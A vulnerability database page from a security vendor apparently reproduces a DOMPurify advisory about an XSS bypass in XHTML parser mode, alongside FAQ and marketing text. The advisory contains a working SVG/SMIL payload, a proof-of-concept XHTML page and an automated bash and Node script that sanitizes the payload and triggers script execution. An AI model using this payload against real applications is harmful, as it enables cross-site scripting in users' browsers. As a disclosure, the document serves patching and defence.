How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

407,382

Total vulnerabilities in the database

DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml — dompurify

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.

An app that uses PARSER_MEDIA_TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

Details

In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):

const lcName = transformCaseFunc(name);
...
if (lcName === &quot;attributename&quot; &amp;&amp; stringMatch(value, &quot;href&quot;)) {
  _removeAttribute(name, currentNode, attr);
  continue;
}

transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED_ATTR/ADD_ATTR: ['attributeName', ...] is the config you'd naturally write here.

The value also passes the URI check. IS_ALLOWED_URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.

In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

const cfg = {
  PARSER_MEDIA_TYPE: &#039;application/xhtml+xml&#039;,
  ALLOWED_TAGS: [&#039;svg&#039;, &#039;a&#039;, &#039;animate&#039;, &#039;text&#039;],
  ALLOWED_ATTR: [&#039;attributeName&#039;, &#039;values&#039;, &#039;dur&#039;, &#039;fill&#039;, &#039;x&#039;, &#039;y&#039;, &#039;font-size&#039;, &#039;id&#039;, &#039;width&#039;, &#039;height&#039;],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;60&quot;&gt;&lt;a id=&quot;q&quot;&gt;&lt;animate attributeName=&quot;href&quot; values=&quot;x;javascript:alert(1)&quot; dur=&quot;0.01s&quot; fill=&quot;freeze&quot;/&gt;&lt;text x=&quot;10&quot; y=&quot;40&quot; font-size=&quot;30&quot;&gt;click&lt;/text&gt;&lt;/a&gt;&lt;/svg&gt;

Steps:

Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;title&gt;poc&lt;/title&gt;
&lt;script src=&quot;purify.js&quot;&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;div id=&quot;sink&quot;&gt;&lt;/div&gt;
&lt;script&gt;//&lt;![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: &#039;application/xhtml+xml&#039;,
  ALLOWED_TAGS: [&#039;svg&#039;, &#039;a&#039;, &#039;animate&#039;, &#039;text&#039;],
  ALLOWED_ATTR: [&#039;attributeName&#039;, &#039;values&#039;, &#039;dur&#039;, &#039;fill&#039;, &#039;x&#039;, &#039;y&#039;, &#039;font-size&#039;, &#039;id&#039;, &#039;width&#039;, &#039;height&#039;],
};
const dirty = &#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;60&quot;&gt;&lt;a id=&quot;q&quot;&gt;&lt;animate attributeName=&quot;href&quot; values=&quot;x;javascript:alert(1)&quot; dur=&quot;0.01s&quot; fill=&quot;freeze&quot;/&gt;&lt;text x=&quot;10&quot; y=&quot;40&quot; font-size=&quot;30&quot;&gt;click&lt;/text&gt;&lt;/a&gt;&lt;/svg&gt;&#039;;
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById(&#039;sink&#039;).innerHTML = clean;
//]]&gt;&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;

The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
document.getElementById('q').href.animVal returns "javascript:alert(1)".
Click "click" and alert(1) runs.

As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:&quot;application/xhtml+xml&quot;
# config that allow-lists &lt;animate&gt; + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)
#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#         CHROME=/path/to/chrome ./poc.sh
# needs:  node &gt;= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER=&quot;${1:-3.4.16}&quot;
WORK=&quot;$(mktemp -d)&quot;
trap &#039;rm -rf &quot;$WORK&quot;&#039; EXIT

if [ -z &quot;${DOMPURIFY_JS:-}&quot; ]; then
  (cd &quot;$WORK&quot; &amp;&amp; npm pack &quot;dompurify@$VER&quot; --silent &gt;/dev/null 2&gt;&amp;1 &amp;&amp; tar xzf dompurify-*.tgz) || { echo &quot;npm pack dompurify@$VER failed&quot; &gt;&amp;2; exit 2; }
  DOMPURIFY_JS=&quot;$WORK/package/dist/purify.js&quot;
fi
if [ -z &quot;${CHROME:-}&quot; ]; then
  for c in &quot;$HOME&quot;/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           &quot;$HOME&quot;/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           &quot;$(command -v google-chrome || true)&quot; &quot;$(command -v chromium || true)&quot; &quot;$(command -v chromium-browser || true)&quot;; do
    [ -n &quot;$c&quot; ] &amp;&amp; [ -x &quot;$c&quot; ] &amp;&amp; CHROME=&quot;$c&quot; &amp;&amp; break
  done
fi
[ -n &quot;${CHROME:-}&quot; ] || { echo &quot;no Chrome/Chromium found; set CHROME=&quot; &gt;&amp;2; exit 2; }

cat &gt; &quot;$WORK/poc.html&quot; &lt;&lt;&#039;EOF&#039;
&lt;!doctype html&gt;&lt;meta charset=&quot;utf-8&quot;&gt;&lt;title&gt;poc&lt;/title&gt;
&lt;script src=&quot;purify.js&quot;&gt;&lt;/script&gt;
&lt;div id=&quot;sink&quot;&gt;&lt;/div&gt;
&lt;script&gt;//&lt;![CDATA[
const payload = &#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;60&quot;&gt;&#039; +
  &#039;&lt;a id=&quot;q&quot;&gt;&lt;animate attributeName=&quot;href&quot; values=&quot;x;javascript:alert(1)&quot; dur=&quot;0.01s&quot; fill=&quot;freeze&quot;/&gt;&#039; +
  &#039;&lt;text x=&quot;10&quot; y=&quot;40&quot; font-size=&quot;30&quot;&gt;click&lt;/text&gt;&lt;/a&gt;&lt;/svg&gt;&#039;;
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: [&#039;svg&#039;, &#039;a&#039;, &#039;animate&#039;, &#039;text&#039;],
    ALLOWED_ATTR: [mode === &#039;xhtml&#039; ? &#039;attributeName&#039; : &#039;attributename&#039;, &#039;values&#039;, &#039;dur&#039;, &#039;fill&#039;, &#039;x&#039;, &#039;y&#039;, &#039;font-size&#039;, &#039;id&#039;, &#039;width&#039;, &#039;height&#039;],
  };
  if (mode === &#039;xhtml&#039;) cfg.PARSER_MEDIA_TYPE = &#039;application/xhtml+xml&#039;;
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById(&#039;sink&#039;).innerHTML = clean;
  return clean;
}
//]]&gt;&lt;/script&gt;
EOF
cp &quot;$DOMPURIFY_JS&quot; &quot;$WORK/purify.js&quot;
# Same test inside a real XHTML document (no HTML&lt;-&gt;XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink&#039;s innerHTML uses the XML fragment parser.
sed -e &#039;s#&lt;!doctype html&gt;&lt;meta charset=&quot;utf-8&quot;&gt;&lt;title&gt;poc&lt;/title&gt;#&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;title&gt;poc&lt;/title&gt;#&#039; \
    -e &#039;s#&lt;script src=&quot;purify.js&quot;&gt;&lt;/script&gt;#&lt;script src=&quot;purify.js&quot;&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;#&#039; \
    -e &#039;s#^&lt;/script&gt;$#&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;#&#039; &quot;$WORK/poc.html&quot; &gt; &quot;$WORK/poc.xhtml&quot;

cat &gt; &quot;$WORK/drive.js&quot; &lt;&lt;&#039;EOF&#039;
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require(&#039;child_process&#039;);
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, &#039;.xhtml&#039;);
const p = spawn(chrome, [&#039;--headless&#039;, &#039;--no-sandbox&#039;, &#039;--remote-debugging-pipe&#039;, &#039;--disable-gpu&#039;, &#039;--no-first-run&#039;,
  `--user-data-dir=${dir}/profile`, &#039;about:blank&#039;], { stdio: [&#039;ignore&#039;, &#039;ignore&#039;, &#039;ignore&#039;, &#039;pipe&#039;, &#039;pipe&#039;] });
let id = 0, buf = &#039;&#039;; const pend = new Map(), dialogs = [];
p.stdio[4].on(&#039;data&#039;, (d) =&gt; {
  buf += d; let i;
  while ((i = buf.indexOf(&#039;\0&#039;)) &gt;= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id &amp;&amp; pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === &#039;Page.javascriptDialogOpening&#039;) {
      dialogs.push(m.params.message);
      send(&#039;Page.handleJavaScriptDialog&#039;, { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) =&gt; { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + &#039;\0&#039;); });
}
const sleep = (ms) =&gt; new Promise((r) =&gt; setTimeout(r, ms));
(async () =&gt; {
  const { result: { targetId } } = await send(&#039;Target.createTarget&#039;, { url: &#039;about:blank&#039; });
  const { result: { sessionId: s } } = await send(&#039;Target.attachToTarget&#039;, { targetId, flatten: true });
  await send(&#039;Page.enable&#039;, {}, s); await send(&#039;Runtime.enable&#039;, {}, s);
  const ev = async (e) =&gt; (await send(&#039;Runtime.evaluate&#039;, { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () =&gt; ev(&#039;DOMPurify.version&#039;);
  for (const [mode, page] of [[&#039;html&#039;, url], [&#039;xhtml&#039;, url], [&#039;xhtml&#039;, xurl]]) {
    await send(&#039;Page.navigate&#039;, { url: page }, s); await sleep(500);
    const docType = await ev(&#039;document.contentType&#039;);
    if (mode === &#039;html&#039;) console.log(&#039;DOMPurify&#039;, await ver(), &#039;/&#039;, await ev(&#039;navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]&#039;));
    dialogs.length = 0;
    const clean = await ev(`run(${JSON.stringify(mode)})`);
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev(`(()=&gt;{const a=document.getElementById(&#039;q&#039;);return a?a.href.animVal:null})()`);
    const box = await ev(`(()=&gt;{const t=document.querySelector(&#039;#sink text&#039;);if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
    if (box) for (const type of [&#039;mouseMoved&#039;, &#039;mousePressed&#039;, &#039;mouseReleased&#039;])
      await send(&#039;Input.dispatchMouseEvent&#039;, { type, x: box[0], y: box[1], button: &#039;left&#039;, clickCount: 1 }, s);
    await sleep(800);
    console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean}`);
    console.log(`  animated &lt;a&gt; href (animVal): ${JSON.stringify(href)}`);
    console.log(`  alert() fired on click: ${dialogs.length ? &#039;YES &#039; + JSON.stringify(dialogs) : &#039;no&#039;}`);
    if (mode === &#039;xhtml&#039; &amp;&amp; dialogs.length) vulnerable = true;
    if (mode === &#039;xhtml&#039; &amp;&amp; docType === &#039;application/xhtml+xml&#039;) xhtmlDoc = dialogs.length &gt; 0;
  }
  console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? &#039;also executes&#039; : &#039;no&#039;})` : &#039;\nRESULT: not vulnerable&#039;);
  p.kill(&#039;SIGKILL&#039;); process.exit(vulnerable ? 0 : 1);
})().catch((e) =&gt; { console.error(e); p.kill(&#039;SIGKILL&#039;); process.exit(2); });
EOF
node &quot;$WORK/drive.js&quot; &quot;$CHROME&quot; &quot;file://$WORK/poc.html&quot; &quot;$WORK&quot;

</details>

Impact

Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

Published: Oct 22, 2026
Updated: Oct 23, 2026
GHSA: GHSA-c6gr-qvv4-5v3f
Severity: Low
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	Affected versions
dompurify	`< 3.4.17`

Is dompurify exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.